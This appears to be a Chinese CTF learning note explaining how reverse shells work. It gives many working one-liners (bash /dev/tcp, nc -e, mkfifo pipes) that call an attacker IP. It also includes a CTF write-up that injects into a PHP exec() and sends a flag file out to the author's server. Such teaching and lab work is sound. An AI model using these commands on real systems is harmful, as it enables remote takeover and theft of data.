admin 管理员组文章数量: 887021
[CTF]
[二]反弹shell的本质
- 开放端口(腾讯云,宝塔面板)
- 什么是反弹shell
- 反弹shell的本质是什么
- bash -i
- /dev/tcp/ip/port
- 实例1:
- 实例2:
- 交互重定向
- >&、&>
- 常见的反弹shell 的语句怎么理解
- 1
- 2
- 3
- 4
- 结束
- 极客大挑战where_is_my_FUMO
开放端口(腾讯云,宝塔面板)
测试反弹shell 需要保证端口开放
打开腾讯云
--> 打开安全组
--> 添加规则
添加入站规则
完成之后–> 一键放通
然后进入宝塔面板
想放行什么端口就写端口号
我这里是2333
到这里2333端口
就已经成功开放了
接下来就可以反弹shell
了
什么是反弹shell
reverse shell
,就是控制端监听在某TCP/UDP端口,
被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell
与telnet
,
ssh
等标准shell
对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell的本质是什么
攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接
我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,
掌握了反弹的本质,再多的方法其实只是换了包装而已
实验环境:
victim: Kali Linux -------> 192.168.192.133
attacker:Ubuntu Linux ---> 101.34.32.151
bash
attacker
机器上执行:
nc -lvp 2333
//出现nc: getnameinfo: Temporary failure in name resolution
//就加上 n
nc -lvnp 2333
victim
机器上执行:
bash -i >& /dev/tcp/101.34.32.151/2333 0>&1
可以看到在攻击机上出现了受害者机器的shell
解释一下这条命令具体的含义:
bash -i
bash
是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别-i
这个参数表示的是产生交互式的shell
/dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,
实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,
如下图:
但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口
的服务器的socket通信
实例1:
victim:
attacker:
实例2:
attacker:
victim:
然后再attacker
上输入内容
然后victim
上就会显示同样的内容
交互重定向
为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入
bash -i > /dev/tcp/192.168.146.129/2333
如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显
但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行
于是我们似乎还需要一条这样的指令
bash -i < /dev/tcp/101.34.32.151/2333
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了
现在我们需要将两条指令结合起来
(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):
bash -i > /dev/tcp/101.34.32.151/2333 0>&1
由这张示意图可以很清楚地看到,
输入0
是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入
,命令执行的结果1
会输出
到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路
实现了我们远程交互式shell
的功能
如下图所示,我在攻击机上输入 ifconfig
,查看到的是受害者
的ip
也就是说我们目前已经基本完成了一个反弹shell 的功能
注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决
>&、&>
现在我们解决一下前面的问题:
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&10''
可以看到命令并没有回显在受害者机器上,我们的目的达成了
当然我们也可以执行与之完全等价的指令
bash -i >& /dev/tcp/101.34.32.151/2333 0>&1
至此,我们的反弹shell
的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质
以后碰到其他的反弹shell
的语句也能用类似的分析方法区分析
甚至我们也可以自己举一反三创造更加绝妙的反弹shell
的语句
常见的反弹shell 的语句怎么理解
1
bash -i >& /dev/tcp/101.34.32.151/2333 0>&1
和
bash -i >& /dev/tcp/101.34.32.151/2333 0<&1
这里的唯一区别就是0>&1
和 0<&1
其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
2
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
等价于
bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
3
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
解释:
exec 5<>/dev/tcp/192.168.146.129/2333
这一句将文件描述符5
重定向
到了 /dev/tcp/192.168.146.129/2333
并且方式是读写方式
,
于是我们就能通过文件描述符对这个socket连接
进行操作了
command|while read line do .....done
原句是下面
while read line
do#code
done < file
从文件中依次读取每一行,将其赋值给 line 变量
(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了)
之后再在循环
中对line
进行操作
而现在我们不是从file 文件
中输入了,我们使用管道符
对攻击者机器上输入的命令依次执行
并将标准输出
和标准错误输出
都重定向
到了文件描述符5
,也就是攻击机
上,实现交互式shell
的功能。
与之完全类似的还有下面这条指令
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
4
nc -e
可以直接反弹shell
nc -e /bin/sh 101.34.32.151 2333
如果没有 -e
那可以参考下面
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
简单的解释:
mkfifo 命令
首先创建了一个管道
,cat
将管道里面的内容
输出传递给/bin/sh
,sh
会执行
管道里的命令
并将标准输出
和标准错误输出
结果通过nc
传到该管道
,由此形成了一个回路
类似的命令:
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
结束
反弹shell
方法很常见,但也要自己会构造
文件描述和重定向是基础
极客大挑战where_is_my_FUMO
题目
<?php
function chijou_kega_no_junnka($str) {$black_list = [">", ";", "|", "{", "}", "/", " "];return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {$data = $_GET['DATA'];$addr = chijou_kega_no_junnka($data['ADDR']);$port = chijou_kega_no_junnka($data['PORT']);exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {highlight_file(__FILE__);
}
对题目传数组参数,执行到exec
可以反弹shell
构造payload
http://1.14.102.22:8115/?DATA[ADDR]=101.34.32.151&DATA[PORT]=2333
这样就可以反弹shell
到对应的ip端口
在服务器端执行
nc -lvvnp 2333
拿下服务器后发现没有回显
原因是题目中,bash反弹shell
写法,只能将命令
从攻击机
传到受害着
,命令可以执行
但是没有回显
bash -c \"bash -i < /dev/tcp/$addr/$port\
拿到无回显shell
之后也就有两种
方法,第一种
就是再反弹
可回显交互式shell
到vps的其他端口
bash -i >& /dev/tcp/101.34.32.151/6666
监听端口,拿到shell
,发现根目录flag.png
然后把文件转到服务器上
本地:
nc -lvnp 2333 > test.png
靶机:
cat /flag.png >& /dev/tcp/101.34.32.151/2333 0>&1
然后本地就会出现一个test.png
然后以base64
读取图片
cat test.png | base64
有的显示的长度有限制 所以多次输出
cat /flag.png | base64 | tail -n +1|head -n 8000cat /flag.png | base64 | tail -n +8001|head -n 8000
每次读8000行,读两次,然后base64转图片
以上就是自己学习反弹shell的全部内容 分为[1]和[2] 内容
感谢师傅看到这里
本文标签: CTF
版权声明:本文标题:[CTF] 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1687001805h54440.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论